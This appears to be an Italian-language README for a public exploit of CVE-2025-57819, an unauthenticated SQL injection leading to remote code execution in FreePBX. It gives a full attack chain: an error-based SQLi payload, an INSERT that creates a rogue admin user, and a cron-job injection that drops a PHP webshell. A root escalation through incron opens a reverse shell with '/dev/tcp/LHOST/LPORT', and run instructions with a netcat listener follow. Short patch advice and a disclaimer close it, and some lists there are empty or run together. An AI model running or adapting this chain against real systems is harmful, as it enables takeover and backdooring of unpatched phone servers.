
CVE-2025-57819 FreePBX SQLi RCE PoC
Solo a scopo educativo e di ricerca sulla sicurezza - Vedi il disclaimer legale sotto
Proof of concept di sfruttamento per CVE-2025-57819, una vulnerabilità critica di SQL injection non autenticata in FreePBX che consente l'esecuzione remota di codice. Questo PoC è pubblicato dopo il rilascio delle patch ufficiali esclusivamente per scopi di ricerca sulla sicurezza e test autorizzati.
Le versioni di FreePBX 15.x, 16.x e 17.x (al di sotto delle versioni patchate) sono vulnerabili a SQL injection non autenticata nel gestore AJAX del modulo endpoint. Questa catena di vulnerabilità consente:
| ID CVE | CVE-2025-57819 |
| Tipo | SQL Injection non autenticata (basata su errori) |
| CVSS | 9.8 / 10.0 (Critico) |
| Affette | FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3 |
| Patchate | 15.0.66, 16.0.89, 17.0.3+ |
| CISA KEV | Sì (29 agosto 2025) |
GET /admin/ajax.php?brand=<PAYLOAD>
Il parametro brand nel gestore AJAX del modulo endpoint accetta input utente senza convalida, portando a SQL injection basata su errori.
Verifica della SQLi usando l'estrazione basata su errori con EXTRACTVALUE() per ottenere il nome del database:
x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
Inserisci un nuovo utente amministrativo in asterisk.ampusers:
INSERT INTO ampusers (username, password_hash, admin)
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)
Con credenziali amministrative valide, l'exploit si autentica su FreePBX e stabilisce una sessione autenticata. I cookie di sessione vengono salvati e utilizzati per tutte le successive richieste autenticate.
Inietta il comando webshell in asterisk.cron_jobs:
INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)
Il cron runner di FreePBX esegue il comando come utente asterisk, depositando una webshell PHP.
La webshell PHP viene distribuita in /var/www/html/shell.php:
<?php system($_GET['cmd']); ?>
L'exploit interroga la webshell fino all'attivazione, ottenendo RCE come utente asterisk (uid=999).
Se incron è configurato sul target:
/var/spool/asterisk/incron/incrond (in esecuzione come root) rileva la creazione del file/usr/bin/sysadmin_manager con il nome del file triggersysadmin_manager convalida la firma GPG e invia all'hook fwconsole-commands/usr/sbin/fwconsole <COMANDO>help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1Risultato: Shell root sul listener di reverse (se incron disponibile).
brandasterisk.cron_jobs esegue comandi come asteriskgit clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py
# Setup Netcat Listener
nc -lvnp <Listener Port>
# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

Immediata:
/admin/ajax.php da reti non fidatesystemctl disable incrondPermanente: Aggiornare alle versioni patchate: 15.0.66+, 16.0.89+ o 17.0.3+
⚠️ DISCLAIMER
Questo proof of concept è fornito ESCLUSIVAMENTE PER TEST DI SICUREZZA AUTORIZZATI E SCOPI EDUCATIVI. L'autore non si assume alcuna responsabilità per l'uso improprio o i danni causati da questo strumento.
DEVI RISPETTARE:
USI VIETATI:
ESONERO DI RESPONSABILITÀ: L'autore non è responsabile per:
Questa vulnerabilità è:
JazzTheRabbit
MIT License
| Versione | Stato |
|---|
| 15.0.0 - 15.0.65 | Vulnerabile |
| 15.0.66+ | Patchata |
| 16.0.0 - 16.0.88 | Vulnerabile |
| 16.0.89+ | Patchata |
| 17.0.0 - 17.0.2 | Vulnerabile |
| 17.0.3+ | Patchata |